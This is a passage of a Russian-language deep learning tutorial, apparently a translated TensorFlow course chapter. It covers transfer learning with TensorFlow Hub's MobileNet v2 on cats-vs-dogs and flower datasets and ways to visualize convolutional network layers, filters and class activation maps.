_ = plt.title("Prediction: " + predicted_class_name.title())
```
Вывод:
```
Downloading data from https://storage.googleapis.com/download.tensorflow.org/data/ImageNetLabels.txt
16384/10484 [==============================================] - 0s 0us/step
```
Бинго! Наша модель корректно определила военную форму.
**Часть 2: используйте TensorFlow Hub-модель для набора данных кошек и собак**
Сейчас мы воспользуемся полной версией модели MobileNet и посмотрим, каким образом она справится с набором данных кошек и собак.
**Набор данных**
Мы можем воспользоваться TensorFlow Datasets для загрузки набора данных кошек и собак.
```
splits = tfds.Split.ALL.subsplit(weighted=(80, 20))
splits, info = tfds.load('cats_vs_dogs', with_info=True, as_supervised=True, split = splits)
(train_examples, validation_examples) = splits
num_examples = info.splits['train'].num_examples
num_classes = info.features['label'].num_classes
```
Вывод:
```
Downloading and preparing dataset cats_vs_dogs (786.68 MiB) to /root/tensorflow_datasets/cats_vs_dogs/2.0.1...
/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
WARNING:absl:1738 images were corrupted and were skipped
Dataset cats_vs_dogs downloaded and prepared to /root/tensorflow_datasets/cats_vs_dogs/2.0.1. Subsequent calls will reuse this data.
```
Не все изображения в наборе данных кошек и собак одного размера.
```
for i, example_image in enumerate(train_examples.take(3)):
print("Image {} shape: {}".format(i+1, example_image[0].shape))
```
Вывод:
```
Image 1 shape: (500, 343, 3)
Image 2 shape: (375, 500, 3)
Image 3 shape: (375, 500, 3)
```
Поэтому изображения из полученного набора данных требуют приведения к единому размеру, который ожидает на входе модель MobileNet — 224 x 224.
Функция `.repeat()` и `steps_per_epoch` здесь не обязательны, но позволяют сэкономить примерно 15 сек на каждую обучающую итерацию, т.к. временный буфер приходится инициализировать лишь один раз в самом начале процесса обучения.
```
def format_image(image, label):
image = tf.image.resize(image, (IMAGE_RES, IMAGE_RES)) / 255.0
return image, label
BATCH_SIZE = 32
train_batches = train_examples.shuffle(num_examples//4).map(format_image).batch(BATCH_SIZE).prefetch(1)
validation_batches = validation_examples.map(format_image).batch(BATCH_SIZE).prefetch(1)
```
**Запустите классификатор на наборах изображений**
Напомню, что на данном этапе у на всё ещё полная версия предобученной MobileNet сети, которая содержит 1 000 возможных выходных классов. ImageNet содержит большое количество изображений собак и кошек, поэтому давайте попробуем подать на вход одно из тестовых изображений из нашего набора данных и посмотреть, какое предсказание нам выдаст модель.
```
image_batch, label_batch = next(iter(train_batches.take(1)))
image_batch = image_batch.numpy()
label_batch = label_batch.numpy()
result_batch = model.predict(image_batch)
predicted_class_names = imagenet_labels[np.argmax(result_batch, axis=-1)]
predicted_class_names
```
Вывод:
```
array(['Persian cat', 'mink', 'Siamese cat', 'tabby',
'Bouvier des Flandres', 'dishwasher', 'Yorkshire terrier',
'tiger cat', 'tabby', 'Egyptian cat', 'Egyptian cat', 'tabby',
'dalmatian', 'Persian cat', 'Border collie', 'Newfoundland',
'tiger cat', 'Siamese cat', 'Persian cat', 'Egyptian cat', 'tabby',
'tiger cat', 'Labrador retriever', 'German shepherd', 'Eskimo dog',
'kelpie', 'mink', 'Norwegian elkhound', 'Labrador retriever',
'Egyptian cat', 'computer keyboard', 'boxer'], dtype='
```
Метки похожи на названия пород кошек и собак. Давайте теперь отобразим несколько изображений из нашего набора данных кошек и собак и над каждым из них разместим предсказанную метку.
```
plt.figure(figsize=(10, 9))
for n in range(30):
plt.subplot(6, 5, n+1)
plt.subplots_adjust(hspace=0.3)
plt.imshow(image_batch[n])
plt.title(predicted_class_names[n])
plt.axis('off')
_ = plt.suptitle("ImageNet predictions")
```
**Часть 3: реализуйте передачу обучения с TensorFlow Hub**
Теперь давайте воспользуемся TensorFlow Hub для передачи обучения от одной модели к другой.
В процессе передачи обучения мы переиспользуем одну предобученную модель изменяя её последний слой, или несколько слоёв, а затем снова запускаем процесс обучения на новом наборе данных.
В TensorFlow Hub можно найти не только полные предобученные модели (с последним слоем), но и модели без последнего классификационного слоя. Последние могут быть с легкостью использованы для передачи обучения. Мы продолжим использовать MobileNet v2 по той простой причине, что в последующих частях нашего курса мы перенесём эту модель и запустим её на мобильном устройстве с помощью TensorFlow Lite.
Мы так же продолжим использовать набор данных кошек и собак, таким образом у нас будет возможность сравнить производительность этой модели с теми, которые мы реализовывали с нуля.
Обратите внимание, что частичную модель с TensorFlow Hub (без последнего классификационного слоя) мы назвали `feature_extractor`. Объясняется это наименование тем, что модель принимает на вход данные и преобразуем их до конечного набора выделенных свойств (характеристик). Таким образом наша модель выполнила работу по идентификации содержимого изображения, но не произвела финального распределения вероятностей по выходным классам. Модель извлекла набор свойств из изображения.
```
URL = 'https://tfhub.dev/google/tf2-preview/mobilenet_v2/feature_vector/2'
feature_extractor = hub.KerasLayer(URL, input_shape=(IMAGE_RES, IMAGE_RES, 3))
```
Давайте прогоним через `feature_extractor` набор изображений и посмотрим на результатирующую форму (формат выходных данных). 32 — количество изображений, 1280 — количество нейронов на последнем слое предобученной модели с TensorFlow Hub.
```
feature_batch = feature_extractor(image_batch)
print(feature_batch.shape)
```
Вывод:
```
(32, 1280)
```
"Заморозим" переменные в слое извлечения свойств для того, чтобы в процессе обучения менялись только значения переменных слоя классификации.
```
feature_extractor.trainable = False
```
**Добавьте слой классификации**
Теперь оберните слой из TensorFlow Hub в `tf.keras.Sequential`-модель и добавьте классификационный слой.
```
model = tf.keras.Sequential([
feature_extractor,
layers.Dense(2, activation='softmax')
])
model.summary()
```
Вывод:
```
Model: "sequential_1"
_________________________________________________________________
Layer (type) Output Shape Param #
=================================================================
keras_layer_1 (KerasLayer) (None, 1280) 2257984
_________________________________________________________________
dense (Dense) (None, 2) 2562
=================================================================
Total params: 2,260,546
Trainable params: 2,562
Non-trainable params: 2,257,984
_________________________________________________________________
```
**Обучите модель**
Теперь мы обучаем полученную модель так, как мы делали это раньше вызывая `compile` с последующим `fit` для тренировки.
```
model.compile(
optimizer='adam',
loss='sparse_categorical_crossentropy',
metrics=['accuracy']
)
EPOCHS = 6
history = model.fit(train_batches,
epochs=EPOCHS,
validation_data=validation_batches)
```
Вывод:
```
Epoch 1/6
582/582 [==============================] - 77s 133ms/step - loss: 0.2381 - acc: 0.9346 - val_loss: 0.0000e+00 - val_acc: 0.0000e+00
Epoch 2/6
582/582 [==============================] - 70s 120ms/step - loss: 0.1827 - acc: 0.9618 - val_loss: 0.1629 - val_acc: 0.9670
Epoch 3/6
582/582 [==============================] - 69s 119ms/step - loss: 0.1733 - acc: 0.9660 - val_loss: 0.1623 - val_acc: 0.9666
Epoch 4/6
582/582 [==============================] - 69s 118ms/step - loss: 0.1677 - acc: 0.9676 - val_loss: 0.1627 - val_acc: 0.9677
Epoch 5/6
582/582 [==============================] - 68s 118ms/step - loss: 0.1636 - acc: 0.9689 - val_loss: 0.1634 - val_acc: 0.9675
Epoch 6/6
582/582 [==============================] - 69s 118ms/step - loss: 0.1604 - acc: 0.9701 - val_loss: 0.1643 - val_acc: 0.9668
```
Как вы уже наверняка обратили внимание мы смогли добиться ~97% точности предсказаний на валидационном наборе данных. Потрясающе! Текущий подход значительно увеличил точность классификации в сравнении с первой моделью, которую мы обучали сами и получили точность классификации ~87%. Причина заключается в том, что MobileNet была спроектирована экспертами и тщательно дорабатывалась в течение длинного периода времени, а затем обучена на невероятно большом массиве данных ImageNet.
Как создать собственную MobileNet в Keras можно посмотреть по [этой ссылке](https://github.com/keras-team/keras-applications/blob/master/keras_applications/mobilenet.py).
Давайте построим графики изменения значений точности и потерь на обучающем и валидационном наборах данных.
```
acc = history.history['acc']
val_acc = history.history['val_acc']
loss = history.history['loss']
val_loss = history.history['val_loss']
epochs_range = range(EPOCHS)
plt.figure(figsize=(8, 8))
plt.subplot(1, 2, 1)
plt.plot(epochs_range, acc, label='Точность на обучении')
plt.plot(epochs_range, val_acc, label='Точность на валидации')
plt.legend(loc='lower right')
plt.title('Точность на обучающем и валидационном наборах')
plt.subplot(1, 2, 2)
plt.plot(epochs_range, loss, label='Потери на обучении')
plt.plot(epochs_range, val_loss, label='Потери на валидации')
plt.legend(loc='upper right')
plt.title('Потери на обучающем и валидационном наборах')
plt.show()
```
Что интересно здесь, так это то, что результаты на валидационном наборе данных лучше результатов на обучающем наборе данных с самого начала до самого конца процесса обучения.
Одна из причин такого поведения заключается в том, что точность на валидационном наборе данных измеряется в конце обучающей итерации, а точность на тренировочном наборе данных считается как среднее значение среди всех обучающих итераций.
Большей причиной такого поведения является использование предобученной под-сети MobileNet, которая ранее была обучена на большом наборе данных кошек и собак. В процессе обучения наша сеть по прежнему выполняет расширение входного набора тренировочных данных (ту самую augmentation), но не валидационного набора. Это значит что сгенерированные изображения на тренировочном наборе данных сложнее классифицировать чем нормальные изображения из валидационного набора данных.
**Проверьте результаты предсказаний**
Чтобы повторить график из предыдущего раздела для начала необходимо получить отсортированный список наименований классов:
```
class_names = np.array(info.features['label'].names)
class_names
```
Вывод:
```
array(['cat', 'dog'], dtype='
```
Пропустите блок с изображениями через модель и преобразуйте полученные индексы в имена классов:
```
predicted_batch = model.predict(image_batch)
predicted_batch = tf.squeeze(predicted_batch).numpy()
predicted_ids = np.argmax(predicted_batch, axis=-1)
predicted_class_names = class_names[predicted_ids]
predicted_class_names
```
Вывод:
```
array(['cat', 'cat', 'cat', 'cat', 'dog', 'cat', 'dog', 'cat', 'cat',
'cat', 'cat', 'cat', 'dog', 'cat', 'cat', 'dog', 'cat', 'cat',
'cat', 'cat', 'cat', 'cat', 'dog', 'dog', 'dog', 'dog', 'cat',
'cat', 'dog', 'cat', 'cat', 'dog'], dtype='
```
Давайте взглянем на истинные метки и предсказанные:
```
print("Метки: ", label_batch)
print("Предсказания: ", predicted_ids)
```
Вывод:
```
Метки: [0 0 0 0 1 0 1 0 0 0 0 0 1 0 0 1 0 0 0 0 0 0 1 1 1 1 0 1 1 0 0 1]
Предсказания: [0 0 0 0 1 0 1 0 0 0 0 0 1 0 0 1 0 0 0 0 0 0 1 1 1 1 0 0 1 0 0 1]
```
```
plt.figure(figsize=(10, 9))
for n in range(30):
plt.subplot(6, 5, n+1)
plt.subplots_adjust(hspace=0.3)
plt.imshow(image_batch[n])
color = "blue" if predicted_ids[n] == label_batch[n] else "red"
plt.title(predicted_class_names[n].title(), color=color)
plt.axis('off')
_ = plt.suptitle("Предсказания модели (синий: верно, красный: неверно)")
```
Погружаемся в свёрточные нейронные сети
=======================================
Используя свёрточные нейронные сети мы успели убедиться, что они хорошо справляются с задачей классификации изображений. Однако, на данный момент, мы с трудом представляем себе каким образом они действительно работают. Если бы мы могли понять, каким образом происходит процесс обучения то, в принципе, могли бы улучшить работу по классификации ещё больше. Один из способов понять, каким образом работают свёрточные нейронные сети, заключается в визуализации слоёв и результатов их работы. Мы настоятельно рекомендуем вам изучить материалы [по ссылке](https://towardsdatascience.com/understanding-your-convolution-network-with-visualizations-a4883441533b), чтобы лучше понять, каким образом визуализировать результаты работы свёрточных слоёв.
Область компьютерного зрения увидела свет в конце тонеля и сильно продвинулась вперёд со времён появления свёрточных нейронных сетей. Невероятная скорость с которой осуществляются исследования в этой области и огромные массивы изображений опубликованных в интернете дали невероятные результаты за прошедшие несколько лет. Восход свёрточных нейронных сетей начался с AlexNet в 2012 году, которая была создана Алексом Крижевски, Ильёй Сутскевером и Джеффри Хинтоном и выиграла в известном соревновании ImageNet Large-Scale Visual Recognition Challenge. C тех пор не возникало никаких сомнений в светлом будущем с использованием свёрточных нейронных сетей, а область компьютерного зрения и результаты работы в ней только подтверждали этот факт. Начиная с распознавания вашего лица на мобильном телефоне и заканчивая распознаванием объектов в автономных автомобилях, свёрточные нейронные сети уже успели показать и доказать свою силу и решить множество проблем из реального мира.
Несмотря на огромное количество больших наборов данных и предобученных моделей свёрточных нейронных сетей иногда крайне сложно разобраться в том, каким образом работает сеть и чему именно эта сеть обучается, особенно для людей у которых нет достаточных знаний в области машинного обучения. Изучение базовой информации по статистике и вероятности помогает преодолеть некоторые трудности в понимании работы свёрточных нейронных сетей, однако стоит делу дойти до отладки разрабатываемой и тестируемой свёрточной нейронной сети, например, такой как Inception, то многие сдаются. Цель большинства людей сводится к использованию заранее предобученных моделей для классификации изображений или решению любой другой задачи с получением конечного результата. Меньше всего таким людям хочется погружаться в детали работы свёрточной нейронной сети, несмотря на тот факт, что подобное погружение может сказать им многое о том, как их сеть обучается и чему именно она обучается, а так же где нужно искать ошибки при отладке.
Недавно я наткнулся на потрясающую книгу "Глубокое обучение на Python" от
François Chollet. Книга настоящий клад, если вы только начинаете погружаться в глубокое обучение. В ней используется Keras, потрясающая библиотека для глубокого обучения, которая используется "под капотом" TensorFlow, MXNET и Theano. Среди всего того, что я изучил и узнал из этой книги, больше всего меня зацепил вопрос способов визуализации результатов работы свёрточных нейронных сетей. В этой части главы я рассмотрю три способа визуализации и результаты, которые мне удалось получить применяя данные подходы.
**Погружаясь в визуализацию**
Визуализация выходных значений модели машинного обучения отличный способ представить себе и увидеть, каким образом обучается модель, будь то модель на основе дерева решений или большая нейронная сеть.
В процессе тренировки большинство пользователей модели заинтересованы только в ошибке на тренировочном (training accuracy) и на валидационном наборах данных. Безусловно эти два параметра крайне важны для понимания того, как проходит процесс обучения и в какую сторону он движется, однако когда речь заходит о свёрточных нейронных сетях, например, таких как Inception, то появляется столько возможностей для визуализации результатов обучение и тем самым лучшего понимания архитектуры самой сети.
В этой части я продемонстрирую несколько способов визуализации выходных значений модели, которые позволят получить лучшее представление о том, как происходит сама работа внутри модели. Я обучил Inception v3 (предобученная версия на наборе данных ImageNet) на наборе данных с цветами, который доступен на Kaggle. Если вам ранее не приходилось сталкиваться с моделью Inception, то я настоятельно рекомендую ознакомиться с [исходной статьёй по архитектуре сети](https://arxiv.org/pdf/1409.4842.pdf), а затем изучить второй документ про архитектуру [Inception v3](https://arxiv.org/pdf/1512.00567.pdf) для понимания теоретической части архитектуры сети.
Я обучил модель за 10 итераций (эпох) с размером обучающего блока 32 изображения, размер каждого изображения 229х229х3. Моя модель смогла достигнуть значения потерь на тренировочном наборе данных 0.3195, на валидационном наборе данных — 0.6377. Я использовал встроенный класс `ImageDataGenerator` для расширения набора данных изображений, чтобы моя модель быстро не переобучилась. На исходный код можно взглянуть в [GitHub репозитории](https://github.com/anktplwl91/visualizing_convnets).
**Визуализация промежуточных слоёв**
Чтобы лучше понять работу глубоких свёрточных сетей при классификации изображений нам необходимо понять, каким образом модель "видит" наши входные изображения, глядя на выходные значения промежуточных слоёв. Изучая выходные результаты модели на промежуточных слоях мы станем лучше понимать сам принцип их работы.
Например, ниже представлены визуализации некоторых значений промежуточных слоёв свёртки с соответствующими активационными слоями обученной Inception v3 модели, при подаче на вход оригинального изображения с цветком.
Приведенные выше изображения — результаты работы промежуточных слоёв модели. Я получил их подавая на вход свёрточной нейронной сети одно из тестовых изображений.
Если взглянуть на различные изображения результатов работы свёрточного слоя, то становится достаточно очевидным каким образом различные фильтры на разных слоях пытаются выделить (активировать) разные части изображения. Некоторые фильтры работают как фильтры определения границ (граней), другие определяют конкретную часть цветка на изображении, например, центральную часть, а другие выполняют роль детекторов фона. Легче всего заметить такое поведение свёрточных слоёв на начальных этапах, потому что чем глубже становится сеть, тем разряженнее становится ядро фильтров и некоторые признаки, которые выделены на начальных слоях, могут оказаться нерелевантными на последующих и отброшены.
Возвращаемся к ReLU-активации для соответствующих свёрточных слоёв. Всё что они делают, так это применяют функцию `ReLU(z) = max(0, z)` к значениям каждого пикселя изображения.
Визуализируя результаты работы различных свёрточных слоёв подобным образом ключевой момент, который вы заметите, заключается в том, что чем глубже становится слой в нейронной сети, тем более специфичное свойство изображения выделяется, в то время как на начальных слоях происходит выделение обобщенных паттернов, таких как грани, текстуры, фон и т.п. Понимание этого момента крайне важно при использовании передачи обучения с предобученными моделями, заменяете ли вы часть собственной сети готовой моделью или всю модель целиком. Основная идея заключается в "заморозке" (отключении) наиболее ранних слоёв нейронной сети, потому что они уже были обучены и уже содержат информации о том, как выделить определенные свойства объекта, оставляя активными только последние слои на которых происходит сам процесс распознавания и классификации.
**Визуализируем фильтры свёрточных слоёв**
Ещё один способ лучше понять на что же "смотрят" свёрточные слои в сети это визуализировать их фильтры. Изучая каждый фильтр можно понять на какой паттерн будет реагировать и активироваться каждый из фильтров.
Вот некоторые фильтры, которые я получил обучая Inveption V3 модель на наборе данных с цветами:
После пристального изучения полученных изображений фильтров с различных свёрточных слоёв нейронной сети становится понятно, что именно они пытаются найти в изображении на входе. Паттерны, которые мы наблюдаем на самых первых словях представляют собой самые простые паттерны состоящие из прямых и других базовых фигур, что в очередной раз доказывает нам, что на начальных слоях происходит выделение базовых свойств изображения вроде границ, цветов и т.п. Но чем сильнее мы отдаляемся от начальных слоёв свёрточной сети, тем сложнее и абстрактнее становятся выделяемые паттерны, а именно они помогают обобщить свойства изображения и отличить один класс объекта от другого на изображениях. Именно поэтому мы видели несколько пустых фильтров на глубинных слоях свёрточной сети, потому что определенные фильтры не были активированы, другими словами, в изображении не было той информации в которой фильтры были "заинтересованы" (попросту говоря, изображение не соответствовало искомому паттерну фильтра).
**Визуализируем тепловую карту классов активации**
В процесс предсказания классов объектов на изображении, иногда наша модель будет ошибаться и предсказывать некорректные классы, например, вероятность правильной метки будет не максимальной. В подобных случаях будет крайне полезно, если бы мы смогли визуализировать области изображений в свёрточной сети на которые она смотрит для определения класса объекта.
Подобная техника визуализации называется Class Activation Map (карта активаций класса). Один из техник применяемая при CAM это наложение тепловой карты на исходное изображение. Тепловая карта классов активации представляет собой 2D сетку в каждой ячейке которой располагается значение количества баллов связанных с конкретным выходным классом, вычисленное для каждой позиции исходного изображения и отображающего важность вклада каждого участка в классификацию объекта выходного класса.
На приведённых выше изображениях вы можете понять, каким образом работает эта техника. Начиная с левого изображения, изображение подаваемое на вход, затем идёт изображение тепловой карты активаций последнего Mixed-слоя в Inception V3-модели, последнее изображение наложение исходного и тепловой карты активаций. Таким образом карта активаций сообщает нам область (участок) изображения, которая произвела максимальный вклад в конечное значение классификации полученного выходного класса.
На первом изображении достаточно очевидно, что трудностей с классификацией наша свёрточная нейронная сеть не наблюдает, так как на изображении больше нет других объектов. На следующем изображении свёрточная нейронная сеть не смогла классифицировать **ромашки**, но достаточно взглянуть на тепловую карту активаций и становится понятным тот факт, что сеть ищет объект в нужной части изображения. То же относится и к последнему изображению, где сеть корректно определяет участок изображения на котором находятся ромашки. Несмотря на то, что сети не удалось корректно определить ромашки на последних двух изображениях она определила их местоположение на изображении, и дело здесь не в корректности самой сети, а скорее в том, что большую часть исходного изображения занимают другие объекты.
Тепловые карты активаций могут отличаться в зависимости от слоёв свёрточной сети, так как каждый свёрточные слой "видит" изображение по-своему и создаёт собственную уникальную абстракцию изображения основываясь на сгенерированных фильтрах. В этом примере я сконцентрировался на последнем слое модели от которого непосредственно зависит точность классификации. Однако в качестве хорошего эксперимента можно сравнить тепловые карты активации на различных слоях.
В заключение хочу добавить, что визуализация позволяет нам лучше понять происходящее в свёрточной нейронной сети, найти причины ошибочных классификаций и даёт нам возможность повысить эффективность работы сети понимания работу и результаты работы каждого слоя.
Практическая часть: определение цветов с передачей обучения
===========================================================
[Colab на русском](https://colab.research.google.com/drive/1GAktPP3CdguuqX4B_CRscvtzGKT5Dit6) и [Colab на английском](https://colab.research.google.com/github/tensorflow/examples/blob/master/courses/udacity_intro_to_tensorflow_for_deep_learning/l06c03_exercise_flowers_with_transfer_learning_solution.ipynb#scrollTo=OGNpmn43C0O6).
**TensorFlow Hub**
TensorFlow Hub представляет собой репозиторий с предобученными моделями, которые мы с вами можем использовать.
Передача обучения это процесс в котором мы берём заранее предобученную модель и расширяем её для выполнения определенной задачи. При этом часть предобученной модели, которую мы интегрируем в нейронную сеть, мы оставляем нетронутой, а лишь обучаем последние выходные слои для получения нужного результата.
По [этой ссылке](https://tfhub.dev/) можно изучить весь перечень доступных моделей.
Перед тем как приступать к выполнению текущей практической части рекомендуем сбросить настройки окружения `Runtime -> Reset all runtimes...`
**Импорты**
Импортируем библиотеки, которые мы использовали ранее:
```
from __future__ import absolute_import, division, print_function, unicode_literals
import numpy as np
import matplotlib.pyplot as plt
import tensorflow as tf
tf.enable_eager_execution()
import tensorflow_hub as hub
import tensorflow_datasets as tfds
from tensorflow.keras import layers
```
Вывод:
```
WARNING:tensorflow:
The TensorFlow contrib module will not be included in TensorFlow 2.0.
For more information, please see:
* https://github.com/tensorflow/community/blob/master/rfcs/20180907-contrib-sunset.md
* https://github.com/tensorflow/addons
* https://github.com/tensorflow/io (for I/O related ops)
If you depend on functionality not listed there, please file an issue.
```
```
import logging
logger = tf.get_logger()
logger.setLevel(logging.ERROR)
```
**Загрузите набор данных с цветами используя TensorFlow Datasets**
В коде ниже мы с вами загрузим набор данных цветов из TensorFlow Datasets. Если посмотреть [в документации](https://www.tensorflow.org/datasets/datasets#tf_flowers), то найдём название этого набора данных — `tf_flowers`. Так же вы можете обратить внимание на то, что набор данных содержит только тренировочный набор. Для того чтобы получить валидационный нам необходимо будет имеющийся единственный тренировочный разбить с помощью метода `tfds.splits` на тренировочный (70%) и валидационный (30%). Затем полученные наборы загрузить при помощь метода `tfds.load`. При использовании метода `tfds.load` убедитесь, что используете все необходимые параметры и метод возвращает информацию о наборе данных, которую мы сможем использовать в дальнейшем.
```
splits = tfds.Split.TRAIN.subsplit([70, 30])
(training_set, validation_set), dataset_info = tfds.load('tf_flowers', with_info=True, as_supervised=True, split=splits)
```
Вывод:
```
Downloading and preparing dataset tf_flowers (218.21 MiB) to /root/tensorflow_datasets/tf_flowers/1.0.0...
Dl Completed...
1/|/100% 1/1 [00:07<00:00, 3.67s/ url]
Dl Size...
218/|/100% 218/218 [00:07<00:00, 30.69 MiB/s]
Extraction completed...
1/|/100% 1/1 [00:07<00:00, 7.05s/ file]
Dataset tf_flowers downloaded and prepared to /root/tensorflow_datasets/tf_flowers/1.0.0. Subsequent calls will reuse this data.
```
**Выведите информацию о цветочном наборе данных**
Теперь, когда мы загрузили набор данных цветов, воспользуемся полученной информацией (метаданными) по набору данных и выведем количество классов в наборе, а так же напишем часть кода, который покажет нам сколько элементов в каждом из наборов — тренировочном и валидационном.
```
num_classes = dataset_info.features['label'].num_classes
num_training_examples = 0
num_validation_examples = 0
for example in training_set:
num_training_examples += 1
for example in validation_set:
num_validation_examples += 1
print('Total Number of Classes: {}'.format(num_classes))
print('Total Number of Training Images: {}'.format(num_training_examples))
print('Total Number of Validation Images: {} \n'.format(num_validation_examples))
```
Вывод:
```
Total Number of Classes: 5
Total Number of Training Images: 2590
Total Number of Validation Images: 1080
```
Изображения в цветочном наборе данных различного размера — надо исправлять.
```
for i, example in enumerate(training_set.take(5)):
print('Image {} shape: {} label: {}'.format(i+1, example[0].shape, example[1]))
```
Вывод:
```
Image 1 shape: (226, 240, 3) label: 0
Image 2 shape: (240, 145, 3) label: 2
Image 3 shape: (331, 500, 3) label: 2
Image 4 shape: (240, 320, 3) label: 0
Image 5 shape: (333, 500, 3) label: 1
```
**Преобразовываем изображения и создаём блоки обработки**
В коде ниже мы приводим изображения к единому размеру — размеру, который используется MobilNet v2 на входе для классификации — 224х224 и нормализуем значения пикселей (grayscale). Функция принимает на входе `image` (изображение) и `label` (метку) и возвращает преобразованное изображение и соответствующую метку.
```
IMAGE_RES = 224
def format_image(image, label):
image = tf.image.resize(image, (IMAGE_RES, IMAGE_RES))/255.0
return image, label
BATCH_SIZE = 32
train_batches = training_set.shuffle(num_training_examples//4).map(format_image).batch(BATCH_SIZE).prefetch(1)
validation_batches = validation_set.map(format_image).batch(BATCH_SIZE).prefetch(1)
```
**Применяем передачу обучения с TensorFlow Hub**
Давайте теперь воспользуемся TensorFlow Hub для передачи обучения. Напомним, что при передаче обучения мы переиспользуем части предобученной модели в нашей модели и связываем с последним слоем классификации или несколькими слоями модели, а затем обучаем всю модель на обучающем наборе данных.
**Создаём метод извлечения свойств**
В коде ниже мы создаём `feature_extractor` используя MobileNet v2. Напоминаем, что часть модели полученной из TensorFlow Hub (без последнего классификационного слоя) называется вектором свойств. Чтобы ознакомиться с полным списком векторов достаточно заклянуть в [документацию](https://tfhub.dev/s?module-type=image-feature-vector&q=tf2). Нажмите на `tf2-preview/mobilenet_v2/feature_vector`, изучите документацию и скопируйте URL по которому можно получить вектор свойств MobileNet v2 модели. Затем создайте `feature_extractor` с использованием `hub.KerasLayer` с указанием соответствующего значения параметра `input_shape`.
```
URL = "https://tfhub.dev/google/tf2-preview/mobilenet_v2/feature_vector/4"
feature_extractor = hub.KerasLayer(URL,
input_shape=(IMAGE_RES, IMAGE_RES, 3))
```
**Замораживаем переменные предобученной модели**
В коде ниже мы блокируем возможность изменения значений переменных предобученной модели и оставляем возможность обучаться только последнему слою классификации, который мы добавим:
```
feature_extractor.trainable = False
```
**Добавляем слой классификации**
В коде ниже мы добавляем последний слой классификации с количеством нейронов равных количеству классифицируемых классов, которые нам необходимы. Количество выходных нейронов должно быть равно количеству классов в цветочном наборе данных. В последней строке мы выводим информации о полученной архитектуре модели.
```
model = tf.keras.Sequential([
feature_extractor,
layers.Dense(num_classes, activation='softmax')
])
model.summary()
```
Вывод:
```
Model: "sequential"
_________________________________________________________________
Layer (type) Output Shape Param #
=================================================================
keras_layer (KerasLayer) (None, 1280) 2257984
_________________________________________________________________
dense (Dense) (None, 5) 6405
=================================================================
Total params: 2,264,389
Trainable params: 6,405
Non-trainable params: 2,257,984
```
**Обучаем модель**
В коде ниже мы компилируем и тренируем полученную модель таким же образом, как делали это раньше с полностью созданными нами свёрточными нейронными сетями.
```
model.compile(
optimizer='adam',
loss='sparse_categorical_crossentropy',
metrics=['accuracy'])
EPOCHS = 6
history = model.fit(train_batches,
epochs=EPOCHS,
validation_data=validation_batches)
```
Вывод:
```
Epoch 1/6
81/81 [==============================] - 17s 216ms/step - loss: 0.7765 - acc: 0.7170 - val_loss: 0.0000e+00 - val_acc: 0.0000e+00
Epoch 2/6
81/81 [==============================] - 12s 147ms/step - loss: 0.3806 - acc: 0.8757 - val_loss: 0.3485 - val_acc: 0.8833
Epoch 3/6
81/81 [==============================] - 12s 146ms/step - loss: 0.3011 - acc: 0.9031 - val_loss: 0.3190 - val_acc: 0.8907
Epoch 4/6
81/81 [==============================] - 12s 147ms/step - loss: 0.2527 - acc: 0.9205 - val_loss: 0.3031 - val_acc: 0.8917
Epoch 5/6
81/81 [==============================] - 12s 148ms/step - loss: 0.2177 - acc: 0.9371 - val_loss: 0.2933 - val_acc: 0.8972
Epoch 6/6
81/81 [==============================] - 12s 146ms/step - loss: 0.1905 - acc: 0.9456 - val_loss: 0.2870 - val_acc: 0.9000
```
Как вы уже обратили внимание мы получили точность ~90% после 6 обучающих итераций, что можно назвать отличным результатом! Это потрясающая точность, если учитывать тот факт, что на созданной нами модели с нуля мы получили точность ~76% после 80 обучающих итераций. Существенная разница в точности классификации объясняется тем фактом, что MobilNet v2 была спроектирована и тщательно дорабатывалась множеством экспертов в области и обучена была на огромном наборе данных.
**Отобразите графики точности потерь на тренировочном и валидационном наборах данных**
В коде ниже мы отрисовываем графики точности и потерь на тренировочном и валидационном наборах данных.
```
acc = history.history['acc']
val_acc = history.history['val_acc']
loss = history.history['loss']
val_loss = history.history['val_loss']
epochs_range = range(EPOCHS)
plt.figure(figsize=(8, 8))
plt.subplot(1, 2, 1)
plt.plot(epochs_range, acc, label='Training Accuracy')
plt.plot(epochs_range, val_acc, label='Validation Accuracy')
plt.legend(loc='lower right')
plt.title('Training and Validation Accuracy')
plt.subplot(1, 2, 2)
plt.plot(epochs_range, loss, label='Training Loss')
plt.plot(epochs_range, val_loss, label='Validation Loss')
plt.legend(loc='upper right')
plt.title('Training and Validation Loss')
plt.show()
```
Что интересно здесь, так это то, что результаты на валидационном наборе данных лучше результатов на обучающем наборе данных с самого начала до самого конца процесса обучения.
Одна из причин такого поведения заключается в том, что точность на валидационном наборе данных измеряется в конце обучающей итерации, а точность на тренировочном наборе данных считается как среднее значение среди всех обучающих итераций.
Большей причиной такого поведения является использование предобученной под-сети MobileNet, которая ранее была обучена на большом наборе данных кошек и собак. В процессе обучения наша сеть по прежнему выполняет расширение входного набора тренировочных данных (ту самую augmentation), но не валидационного набора. Это значит что сгенерированные изображения на тренировочном наборе данных сложнее классифицировать чем нормальные изображения из валидационного набора данных.
**Проверим предсказания**
В коде ниже мы получаем список наименований классов и преобразуем его в массив NumPy. Выводим в консоль значения массива, чтобы убедиться в корректности наименований меток.
```
class_names = np.array(dataset_info.features['label'].names)
print(class_names)
```
Вывод:
```
['dandelion' 'daisy' 'tulips' 'sunflowers' 'roses']
```
**Сформируем блок изображений и прогоним через модель для предсказаний**
Воспользуемся функцией `next()` для создания `image_batch` (блок изображений) и соответствующий `label_batch` (блок меток). Преобразуем и `image_batch` и `label_batch` к NumPy массивам при помощи метода `.numpy()`. Затем воспользуемся методом `.predict()` для запуска предсказаний по нашей модели. Получить индекс классов предсказаний можно через метод `np.argmax()` для каждого изображения. В завершении преобразуйте индексы с максимальным значением предсказаний в наименования самих классов.
```
image_batch, label_batch = next(iter(train_batches))
image_batch = image_batch.numpy()
label_batch = label_batch.numpy()
predicted_batch = model.predict(image_batch)
predicted_batch = tf.squeeze(predicted_batch).numpy()
predicted_ids = np.argmax(predicted_batch, axis=-1)
predicted_class_names = class_names[predicted_ids]
print(predicted_class_names)
```
Вывод:
```
['sunflowers' 'roses' 'tulips' 'tulips' 'daisy' 'dandelion' 'tulips'
'sunflowers' 'daisy' 'daisy' 'tulips' 'daisy' 'daisy' 'tulips' 'tulips'
'tulips' 'dandelion' 'dandelion' 'tulips' 'tulips' 'dandelion' 'roses'
